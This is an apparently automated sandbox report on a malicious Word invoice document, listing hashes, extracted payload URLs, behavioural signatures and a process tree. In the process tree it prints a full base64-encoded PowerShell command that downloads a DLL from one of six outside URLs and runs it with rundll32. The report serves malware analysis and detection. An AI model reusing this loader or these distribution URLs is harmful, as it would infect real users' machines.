Analysis
-
max time kernel
108s -
max time network
111s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2023 14:37
Behavioral task
behavioral1
Sample
E4_INV_pd0622463.doc
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
E4_INV_pd0622463.doc
Resource
win10v2004-20230220-en
General
-
Target
E4_INV_pd0622463.doc
-
Size
206KB
-
MD5
99a96323e20fc70cef855547068e34ba
-
SHA1
98d4e8a4dacc02e9a64afbcc638631894f97dfaa
-
SHA256
e67a24ae89683460405b6f1ecbac115fc549588234ccf8fcc34a174e9b179502
-
SHA512
5eaa28a4ab909ae3816afc43f68a28891d460ae1db184955b157767e8029f3d34178e8a2721d0e89ed52e79540043fa5ec87773a38e19a3c7e8635f84392521c
-
SSDEEP
1536:3QBLceqLDr80L1lKugpEWoKtMH1Ky2ccCEIOVFzwquIi0OymgBGvhY61LqB8T6IJ:ABLcXHr80sM7AI0OquZSm5vhYBjIGYD
Malware Config
Extracted
http://gamaes.shop/wp-content/plugins/sSTToaEwCG5VASw/
http://newsaarctech.com/wp-content/Sx9tvV5/
http://www.fizik.tv.tr/ex/mlFHNKb9x/
https://shopallcars.com/node_modules/dXF0W/
https://infohybrid.com/assets/Lq5vllPN/
http://fse.in.ua/layouts/WMIxdId0bHiS/GnfihOVGqjmsWPJg4/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2628 2176 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 63 4292 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2176 WINWORD.EXE 2176 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4292 powershell.exe 4292 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4292 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2176 WINWORD.EXE 2176 WINWORD.EXE 2176 WINWORD.EXE 2176 WINWORD.EXE 2176 WINWORD.EXE 2176 WINWORD.EXE 2176 WINWORD.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exedescription pid process target process PID 2176 wrote to memory of 2628 2176 WINWORD.EXE cmd.exe PID 2176 wrote to memory of 2628 2176 WINWORD.EXE cmd.exe PID 2628 wrote to memory of 4292 2628 cmd.exe powershell.exe PID 2628 wrote to memory of 4292 2628 cmd.exe powershell.exe PID 4292 wrote to memory of 772 4292 powershell.exe rundll32.exe PID 4292 wrote to memory of 772 4292 powershell.exe rundll32.exe PID 4292 wrote to memory of 772 4292 powershell.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E4_INV_pd0622463.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c c:\programdata\uwdhx.bat2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABzAHQAcgBzAD0AIgBoAHQAdABwADoALwAvAGcAYQBtAGEAZQBzAC4AcwBoAG8AcAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AcwBTAFQAVABvAGEARQB3AEMARwA1AFYAQQBTAHcALwAsAGgAdAB0AHAAOgAvAC8AbgBlAHcAcwBhAGEAcgBjAHQAZQBjAGgALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBTAHgAOQB0AHYAVgA1AC8ALABoAHQAdABwADoALwAvAHcAdwB3AC4AZgBpAHoAaQBrAC4AdAB2AC4AdAByAC8AZQB4AC8AbQBsAEYASABOAEsAYgA5AHgALwAsAGgAdAB0AHAAcwA6AC8ALwBzAGgAbwBwAGEAbABsAGMAYQByAHMALgBjAG8AbQAvAG4AbwBkAGUAXwBtAG8AZAB1AGwAZQBzAC8AZABYAEYAMABXAC8ALABoAHQAdABwAHMAOgAvAC8AaQBuAGYAbwBoAHkAYgByAGkAZAAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBMAHEANQB2AGwAbABQAE4ALwAsAGgAdAB0AHAAOgAvAC8AZgBzAGUALgBpAG4ALgB1AGEALwBsAGEAeQBvAHUAdABzAC8AVwBNAEkAeABkAEkAZAAwAGIASABpAFMALwBHAG4AZgBpAGgATwBWAEcAcQBqAG0AcwBXAFAASgBnADQALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcwB0AHIAcwApAHsAJAByADEAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJAByADIAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAHQAcAB0AGgAPQAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACIAKwAkAHIAMQArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJAB0AHAAdABoADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHQAcAB0AGgAKQB7ACQAZgBwAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAVwBvAHcANgA0AFwAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgA7ACQAYQA9ACQAdABwAHQAaAArACIALABmACIAKwAkAHIAMgA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGYAcAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGEAOwBiAHIAZQBhAGsAOwB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exe"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\1011482685.dll,f18922594614⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\1011482685.dllFilesize
15KB
MD548aceb74013851ac10b19eabd7a07c5b
SHA1cca7ab93d829231e44ab9e10a4d0a97dd8cef045
SHA25608e952ecaf0e9ac04e3c88207722089a95c6cddebe4767d10601ec13959a98ff
SHA5126074c2edfda870e183a9b58ebb020d12c48b0841429b51d72e0ae34f3e106a40247e807d0cc5ff5130494bc4b6c2a583a5ba538222c251d1c53cfa03410e51a1
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_stfj3z4m.zht.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lexFilesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
-
\??\c:\programdata\uwdhx.batFilesize
2KB
MD5e5b8975e992ef3e26493d8db3d022ad9
SHA1e514c0757b99b9a81ffe337289adeda62fb4e4c2
SHA2563dfbbf218112c000fa30ad568dd2a0d3884392c4019a61791fbb17405f8e4517
SHA512fed805b656acadae86e59a2c4900ddee528cd2d5b857599760c93f99f79170cd24cee98543a85777a562dade32a6bcc8b0e4d2eed6476ea7f297b0fa932c0a93
-
memory/2176-190-0x0000024293700000-0x0000024293900000-memory.dmpFilesize
2.0MB
-
memory/2176-135-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-139-0x00007FF8525C0000-0x00007FF8525D0000-memory.dmpFilesize
64KB
-
memory/2176-137-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-133-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-136-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-134-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-138-0x00007FF8525C0000-0x00007FF8525D0000-memory.dmpFilesize
64KB
-
memory/2176-223-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-220-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-221-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/2176-222-0x00007FF854E10000-0x00007FF854E20000-memory.dmpFilesize
64KB
-
memory/4292-216-0x0000020470200000-0x0000020470222000-memory.dmpFilesize
136KB
-
memory/4292-206-0x000002046FFC0000-0x000002046FFD0000-memory.dmpFilesize
64KB